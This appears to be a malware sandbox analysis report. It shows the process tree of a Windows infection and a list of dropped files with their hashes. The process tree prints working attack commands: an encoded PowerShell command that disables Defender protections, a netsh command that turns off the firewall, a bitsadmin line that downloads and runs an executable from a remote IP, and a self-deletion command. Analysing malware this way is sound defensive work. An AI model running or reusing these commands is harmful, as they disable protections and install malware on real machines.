C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=6⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer myjob1 /download /priority high http://165.227.39.70/hoetnaca/exps/St.mp4 "%temp%\cock.exe" && "%temp%\cock.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\bitsadmin.exebitsadmin /transfer myjob1 /download /priority high http://165.227.39.70/hoetnaca/exps/St.mp4 "C:\Users\Admin\AppData\Local\Temp\cock.exe"3⤵
- Download via BitsAdmin
-
C:\Users\Admin\AppData\Local\Temp\cock.exe"C:\Users\Admin\AppData\Local\Temp\cock.exe"3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\12.exe"C:\Users\Admin\AppData\Local\Temp\12.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=6⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\cock.exe"4⤵
-
C:\Windows\SysWOW64\chcp.comchcp 650015⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\Bt.exe"C:\Users\Admin\AppData\Local\Temp\Bt.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -exec bypass -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQBuAGEAYgBsAGUAQwBvAG4AdAByAG8AbABsAGUAZABGAG8AbABkAGUAcgBBAGMAYwBlAHMAcwAgAEQAaQBzAGEAYgBsAGUAZAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgAGQAaQBzAGEAYgBsAGUADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEgAaQBnAGgAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYAIAAtAEYAbwByAGMAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBvAGQAZQByAGEAdABlAFQAaAByAGUAYQB0AEQAZQBmAGEAdQBsAHQAQQBjAHQAaQBvAG4AIAA2AA0ACgBTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBMAG8AdwBUAGgAcgBlAGEAdABEAGUAZgBhAHUAbAB0AEEAYwB0AGkAbwBuACAANgANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwBlAHYAZQByAGUAVABoAHIAZQBhAHQARABlAGYAYQB1AGwAdABBAGMAdABpAG8AbgAgADYADQAKAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAFMAYwBhAG4AUwBjAGgAZQBkAHUAbABlAEQAYQB5ACAAOAANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQANAAoAbgBlAHQAcwBoACAAYQBkAHYAZgBpAHIAZQB3AGEAbABsACAAcwBlAHQAIABhAGwAbABwAHIAbwBmAGkAbABlAHMAIABzAHQAYQB0AGUAIABvAGYAZgA=4⤵
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off5⤵
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 13963⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeC:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\42B9A473B4DAF01285A36B4D3C7B1662_178C086B699FD6C56B804AF3EF759CB5MD5
e76686fec5c2554e4d517cea97b70ee0
SHA19a5e81d94c3178afae9d4cabf99b4e5159bfc02c
SHA2564d122af86946dd3f99b7eca4af8151f420db21c627eb6883bac5f12abcdf101b
SHA51261d8cd211e41e73be4d3c7a3966cd2e8e949f11fdd4f3bd4a42b2a476273f1680eb6c7640ecb0cec3e399c25799d150e2631e0ffb6c2b9c6b7c9961d084e7eab
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\66AE3BFDF94A732B262342AD2154B86E_CAAD487C6DC014CC76BDDB95FED82CB0MD5
9413c455af38f14ff664bb49b151903c
SHA19bc0ff597c433f911746eefeb64454e01e1cab50
SHA25695a28fa5a61fd0dbd19799b2ea321bc9a90b56e0a1abe2020e0bbb50339b77c3
SHA512dfcce638b4a8ea8c4c0ea7d69642673df44f18b1fe9c946b9c2e68b04a86243848590b4a444294109467f9e3f0ae71f417c7588592f022093ce441b7cf5c3878
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\42B9A473B4DAF01285A36B4D3C7B1662_178C086B699FD6C56B804AF3EF759CB5MD5
c3282a02e6693a660554273b591127d2
SHA124fb1ba5abc85dded4dcf96a542e0943b3ce63d2
SHA256745750469cd114c79989be01fb577398733e04e3d1c21fbd091f40b4dbbc51c4
SHA51203bf1efb4b2ae2d7c6b7cc33329c5bcb32bae62497b888f4d7c119a6d554ee5499d90d1dd3df1f5e095289d92685ee5e636322189b5e7eb2d1c05516d65f6488
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\66AE3BFDF94A732B262342AD2154B86E_CAAD487C6DC014CC76BDDB95FED82CB0MD5
890e8a5f09a6531c0e23bb86f5bfdd9e
SHA1c212be5f9f16b651dd982da30f81a9545a23c224
SHA2565a34e0542ca4e76c3bb053b6ef2e351eeab0384b871c4d0cb0c4ec705f228143
SHA5127ece273b1227a9d9b7520ea9c148db782f2b1c104cc57cdfdaaaf6b4cf1bceed78347714d0eb6d4a0d807d3b531961561bf3aab71896adf39f667fb0ac5bd7ba
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\sqtvvs.exe.logMD5
2ce1b56364fa233e3c3b24c1094c08ef
SHA16bd332829aebe567d7b2cb1fd9a82dfe1791052f
SHA256dcf175d01a6de724456eebafad26562a1c6c59bb61ed4a40675e80b7dbc5680e
SHA5125abf87138689fdc6f8f79c130c3511c863bac1fb0acc60525bc660c532276e3e0037134a9653e0b4f9a77142236cc18144e90bb40ace7271d6eb57fcf438bfe9
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.logMD5
84f2160705ac9a032c002f966498ef74
SHA1e9f3db2e1ad24a4f7e5c203af03bbc07235e704c
SHA2567840ca7ea27e8a24ebc4877774be6013ab4f81d1eb83c121e4c3290ceb532d93
SHA512f41c289770d8817ee612e53880d3f6492d50d08fb5104bf76440c2a93539dd25f6f15179b318e67b9202aabbe802941f80ac2dbadfd6ff1081b0d37c33f9da57
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3F38.exe.logMD5
605f809fab8c19729d39d075f7ffdb53
SHA1c546f877c9bd53563174a90312a8337fdfc5fdd9
SHA2566904d540649e76c55f99530b81be17e099184bb4cad415aa9b9b39cc3677f556
SHA51282cc12c3186ae23884b8d5c104638c8206272c4389ade56b926dfc1d437b03888159b3c790b188b54d277a262e731927e703e680ea642e1417faee27443fd5b3
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logMD5
db01a2c1c7e70b2b038edf8ad5ad9826
SHA1540217c647a73bad8d8a79e3a0f3998b5abd199b
SHA256413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d
SHA512c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheMD5
0b5d94d20be9eecbaed3dddd04143f07
SHA1c677d0355f4cc7301075a554adc889bce502e15a
SHA2563c6f74219d419accdd3de0d14fa46ff290fd430eddcc5352deddd7de59b4928c
SHA512395e5d0f28819f773b8d53363b7df73cc976124d1accce104390fdb3f5ebf57d8bb357e616910c03e1a9d67985704592640e442bd637009e32086bb1b2088916
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheMD5
0b5d94d20be9eecbaed3dddd04143f07
SHA1c677d0355f4cc7301075a554adc889bce502e15a
SHA2563c6f74219d419accdd3de0d14fa46ff290fd430eddcc5352deddd7de59b4928c
SHA512395e5d0f28819f773b8d53363b7df73cc976124d1accce104390fdb3f5ebf57d8bb357e616910c03e1a9d67985704592640e442bd637009e32086bb1b2088916
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
dcb7d0e34789ae4a28fe2172d50f0caa
SHA11a38341b83fe63b42c6284bd61f875fb99df63ab
SHA25663012ab7dcb72e4c17169f600de1d56e2bea538a46eee3ad890001bb54b6e5d8
SHA5127120c84c7d4d7155638a760d6722ce6564fdab18be55deec9c8f185c94986b8394fd54d67db186c234feafd07c1acccf799138b93e69a3528cec6ec81602e3e2
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
fb288af6321d28ebb330814c0cd31232
SHA1604540f36654a76d60350cb384a830820d790f17
SHA256a8490916d7de805d73ce27a999f09a50121c7ded10d147fca9399f1a198bb9bb
SHA5120b08c78ac1777170047be3161a7c12c2b22a3a76276c7120123e0b66402fa18e19694e4d48a766ab1e275eff4509f805f52ef3e2692cddea8df991a677d7ed74
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
9df4725eb996731f9826d042d1ed422d
SHA17d106749e3bde67ad4bd6c61b64619d1bce9385d
SHA25608ad16e3dd9e5e9ac5205c8acdbe6c84eeff0b4a16566a0114b6221d94474b4a
SHA512c84dee0d857962bc0317a4a92a8b38d8365c51f0e1b44ebbdd7f6fd21f045ad5c5e29b7a102b7f82f492ef73a18e1108808a7ac01bb2ec8fff0f45410328d2e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
9df4725eb996731f9826d042d1ed422d
SHA17d106749e3bde67ad4bd6c61b64619d1bce9385d
SHA25608ad16e3dd9e5e9ac5205c8acdbe6c84eeff0b4a16566a0114b6221d94474b4a
SHA512c84dee0d857962bc0317a4a92a8b38d8365c51f0e1b44ebbdd7f6fd21f045ad5c5e29b7a102b7f82f492ef73a18e1108808a7ac01bb2ec8fff0f45410328d2e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
05ca26881a09e3a80ca75e6a2541c1a5
SHA19f5705594e7231334b9545543813020894ab23be
SHA256881e4d06b3ede7449239a95a157fe8cb744a251c797a0da2ed4fc4640be1e0b8
SHA5129b83cb1115cf44af7819a01268d052da5b6182a3d326c381044196a4c224b1f4e15fbda5a91fdf34b0af52f202fedb6d9ebaf2b162947263191040bd13118007
-
C:\Users\Admin\AppData\Local\Temp\12.exeMD5
b0130679b71c422e924b78410903d06a
SHA115d6e09d37147b04ba6bfff7d0a0ce79b360e4ad
SHA256c673ed754a6cc0c455353253054727362020218a4e7637cd8e09f2cd1ceb4f75
SHA5122f27b7adfe7904d8add83074e87ffd20d91c1e28767228b6a43012481cff3a08e7b10b22dd240e63aa01d78da9d05b96b79508e8e6f8369456a7de0829129626
-
C:\Users\Admin\AppData\Local\Temp\12.exeMD5
b0130679b71c422e924b78410903d06a
SHA115d6e09d37147b04ba6bfff7d0a0ce79b360e4ad
SHA256c673ed754a6cc0c455353253054727362020218a4e7637cd8e09f2cd1ceb4f75
SHA5122f27b7adfe7904d8add83074e87ffd20d91c1e28767228b6a43012481cff3a08e7b10b22dd240e63aa01d78da9d05b96b79508e8e6f8369456a7de0829129626
-
C:\Users\Admin\AppData\Local\Temp\15219417232563451054MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeMD5
9a2ff6b89422fd5d1c64e51c30386d32
SHA144ecf3a5f52b4044b84421e654c881868cd0acc6
SHA256021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017
SHA5128a5941ea8ada618bf2e057d8a31c12f9d09e65074e80c35dfad586164a2c12af15bc611f4c0e0ffcb3a3599b319e70ce5b95d4621acafa2255828e1dfdd44701
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeMD5
9a2ff6b89422fd5d1c64e51c30386d32
SHA144ecf3a5f52b4044b84421e654c881868cd0acc6
SHA256021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017
SHA5128a5941ea8ada618bf2e057d8a31c12f9d09e65074e80c35dfad586164a2c12af15bc611f4c0e0ffcb3a3599b319e70ce5b95d4621acafa2255828e1dfdd44701
-
C:\Users\Admin\AppData\Local\Temp\24D9.exeMD5
9a2ff6b89422fd5d1c64e51c30386d32
SHA144ecf3a5f52b4044b84421e654c881868cd0acc6
SHA256021d14981d2829df6914d5c43e9aed8b8c7a80f2d7e03e5548eccc3db0188017
SHA5128a5941ea8ada618bf2e057d8a31c12f9d09e65074e80c35dfad586164a2c12af15bc611f4c0e0ffcb3a3599b319e70ce5b95d4621acafa2255828e1dfdd44701
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeMD5
a9cf6b07b6ee36d4986bd67429634417
SHA15343ed7b750d6f4b4710380bbd14301936db982e
SHA25656ea2e765364d6f517e434e8238c96fb0fffef20c8714cf55d41ab98163e66e5
SHA5124e6a3cbfb3b80abc8f5e23c7142097a180154eec2fa0737378930bba26a14f7601bb8d2d748b2a188cc674656fdfff90d0d5843e23e8c3db8541f5a061fd8af7
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeMD5
a9cf6b07b6ee36d4986bd67429634417
SHA15343ed7b750d6f4b4710380bbd14301936db982e
SHA25656ea2e765364d6f517e434e8238c96fb0fffef20c8714cf55d41ab98163e66e5
SHA5124e6a3cbfb3b80abc8f5e23c7142097a180154eec2fa0737378930bba26a14f7601bb8d2d748b2a188cc674656fdfff90d0d5843e23e8c3db8541f5a061fd8af7
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeMD5
a9cf6b07b6ee36d4986bd67429634417
SHA15343ed7b750d6f4b4710380bbd14301936db982e
SHA25656ea2e765364d6f517e434e8238c96fb0fffef20c8714cf55d41ab98163e66e5
SHA5124e6a3cbfb3b80abc8f5e23c7142097a180154eec2fa0737378930bba26a14f7601bb8d2d748b2a188cc674656fdfff90d0d5843e23e8c3db8541f5a061fd8af7
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeMD5
a9cf6b07b6ee36d4986bd67429634417
SHA15343ed7b750d6f4b4710380bbd14301936db982e
SHA25656ea2e765364d6f517e434e8238c96fb0fffef20c8714cf55d41ab98163e66e5
SHA5124e6a3cbfb3b80abc8f5e23c7142097a180154eec2fa0737378930bba26a14f7601bb8d2d748b2a188cc674656fdfff90d0d5843e23e8c3db8541f5a061fd8af7
-
C:\Users\Admin\AppData\Local\Temp\3F38.exeMD5
a9cf6b07b6ee36d4986bd67429634417
SHA15343ed7b750d6f4b4710380bbd14301936db982e
SHA25656ea2e765364d6f517e434e8238c96fb0fffef20c8714cf55d41ab98163e66e5
SHA5124e6a3cbfb3b80abc8f5e23c7142097a180154eec2fa0737378930bba26a14f7601bb8d2d748b2a188cc674656fdfff90d0d5843e23e8c3db8541f5a061fd8af7
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exeMD5
89064b763c28aee6acd46af84406077e
SHA182c03a9a0e097c3eda89fb34615837c1bc2f7415
SHA25621eecb27d5ecd7bbe138753c81feae747adc5d3aa6ee265dd153905ed03fcfb9
